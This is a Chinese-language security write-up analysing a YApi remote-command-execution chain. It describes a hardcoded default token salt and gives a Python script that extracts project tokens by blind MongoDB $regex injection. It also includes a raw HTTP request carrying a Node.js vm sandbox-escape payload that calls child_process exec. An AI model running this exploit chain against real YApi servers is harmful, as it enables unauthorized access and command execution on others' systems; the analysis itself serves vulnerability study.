yapi 命令执行mongodb注入和vm命令执行的分析
前言:yapi 命令执行漏洞分析笔记,第一时间其实就看了,但是看了许久都无法写出能够注入的语句,索性就放弃了,今天看了其他师傅的文章之后原来才发现是这样子的,有待学习...
参考文章:https://mp.weixin.qq.com/s/eFD5FKyL9jA1l0_6jCDz_w
参考文章:https://github.com/YMFE/yapi/pull/2628/commits/432cdfeb29667eea8b82d72a265022ac9515bdb7
修复的点在server/controllers/base.js

server/utils/token.js
调试的时候发现解密的时候是通过defaultSalt,并且该值是固定的
const defaultSalt = 'abcde';

token.js的parseToken解密函数
const aseDecode = function(data, password) {
/*
该方法使用指定的算法与密码来创建 decipher对象, 第一个算法必须与加密数据时所使用的算法保持一致;
第二个参数用于指定解密时所使用的密码,其参数值为一个二进制格式的字符串或一个Buffer对象,该密码同样必须与加密该数据时所使用的密码保持一致
*/
const decipher = crypto.createDecipher('aes192', password);
/*
第一个参数为一个Buffer对象或一个字符串,用于指定需要被解密的数据
第二个参数用于指定被解密数据所使用的编码格式,可指定的参数值为 'hex', 'binary', 'base64'等,
第三个参数用于指定输出解密数据时使用的编码格式,可选参数值为 'utf-8', 'ascii' 或 'binary';
*/
let decrypted = decipher.update(data, 'hex', 'utf-8');
decrypted += decipher.final('utf-8');
return decrypted;
};
const defaultSalt = 'abcde';
exports.parseToken = function parseToken(token){
if(!token)throw new Error('token 不能为空')
yapi.WEBCONFIG.passsalt = yapi.WEBCONFIG.passsalt || defaultSalt;
let tokens;
try{
tokens = aseDecode(token, yapi.WEBCONFIG.passsalt)
}catch(e){}
if(tokens && typeof tokens === 'string' && tokens.indexOf('|') > 0){
tokens = tokens.split('|')
return {
uid: tokens[0],
projectToken: tokens[1]
}
}
return false;
}

mongodb注入
一开始看到了对于token类型的限制,所以第一时间想到的一个类型过滤不严格导致的注入,接着猜测的就是在getProjectIdByToken点造成的注入
因为这里的getProjectIdByToken有两个点,但是如果是没有权限限制的访问的话就是在判断语句中的getProjectIdByToken中可以实现无权限访问
if(!tokens){
let checkId = await this.getProjectIdByToken(token); //这里可能是注入点
if(!checkId)return;
}else{
token = tokens.projectToken;
tokenUid = tokens.uid;
}

接收参数的是来自let params = Object.assign({}, ctx.query, ctx.request.body);,跟进去的话可以发现get和body传的参数都是可以进行接收的,如下图所示
访问的是 http://127.0.0.1:3000/api/open/run_auto_test?token=1 ,2,3

尝试了半天,自己当时想到的就是通过token=1&token=2,这种形式发送的话yapi处理的时候是当作数组形式的,但是发现无法实现注入
想要实现mongodb这种nosql形式的注入,则需要以下面这种形式来进行注入
> db.token.find()
{ "_id" : 15, "project_id" : 17, "token" : "a4b6ad7f28e6e0bf0ef9", "__v" : 0 }
> db.token.find({"token":"a4b6ad7f28e6e0bf0ef9"})
{ "_id" : 15, "project_id" : 17, "token" : "a4b6ad7f28e6e0bf0ef9", "__v" : 0 }
> db.token.find({"token":{"$ne":"a4b6ad7f28e6e0bf0ef9"}})
> db.token.find({"token":{"$ne":"a4b6ad7f28e6e0bf0efa"}})
{ "_id" : 15, "project_id" : 17, "token" : "a4b6ad7f28e6e0bf0ef9", "__v" : 0 }
> db.token.find({"token":{"$ne":"a4b6ad7f28e6e0bf0efa9"}})

那么就需要让token以字典的形式一样进行注入才可以生成,getProjectIdByToken的查询语句如下所示

因为上面说了传参的时候,get类型不止是url中传参,而且还可以通过body中进行传参,我自己尝试了url栏中通过?token=1&token=2这种形式,但是无法进行注入,如下所示

而url栏中传参又不能实现字典格式,但是在body中以json传参则可以实现,如下图所示

这里的话接收到的就是字典形式,直接实现注入

那么这里的话就可以通过mongodb中的正则regex来实现盲注

到了这里又有一个问题,不管是注入成功或者是注入失败回显的结果就是如下

因为现在访问相关的接口有了,所以这里找一个接口/api/project/get,如果是有权限的情况下但是参数不对导致的错误,这样就可以实现盲注对比

其他师傅的细节找的就是/api/project/get这个接口,通过注入的话checkAuth函数走的默认的权限为member

综合上述如果访问/api/project/get注入成功的话默认返回的就是没有权限,失败的话就是请登录


这里的话就可以写对应的脚本进行注入
import requests
tokenletter = "0123456789abcedf"
url1 = "https://xxxxx/api/project/get"
token = ""
for i in range(16):
for j in tokenletter:
body = {"token":{"$regex":"^" + token + j}}
resp = requests.get(url=url1,json=body,verify=False)
if "406" in resp.text:
print(body)
token += j
print(token)

总结:就是知道es6语法中的Object.assign方法中如果参数不验证的话十分容易导致注入的形成,这个在nodejs中需要多多学习和注意的!
模拟用户登录
token有了,但是最后利用的时候还需要uid,这里的话就可以通过parseToken函数来给tokenUid赋值

数据库中user表的查询的结果如下

当_id不为当前token对应的_id的值的时候则无权限,比如_id为1的情况下

当_id为11的情况下则访问成功

添加runAutoTest接口
可以看到执行脚本的时候就是通过vm模块来简单调用的,vm的沙箱绕过的payload很多,这里直接来一条即可
VM逃逸分析参考:https://www.cnblogs.com/zpchcbd/p/16899212.html
POST /api/project/up HTTP/1.1
Host: 127.0.0.1:3000
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 199
id=11&token=78cb3fe33988148d4909b47b429cff57ec1dce4b60fee2c397911ac7fff534d3&after_script=&pre_script=this.constructor.constructor("return process")().mainModule.require('child_process').exec('calc')


VM命令执行
带着id和对应的token访问,这里的id为11


浙公网安备 33010602011771号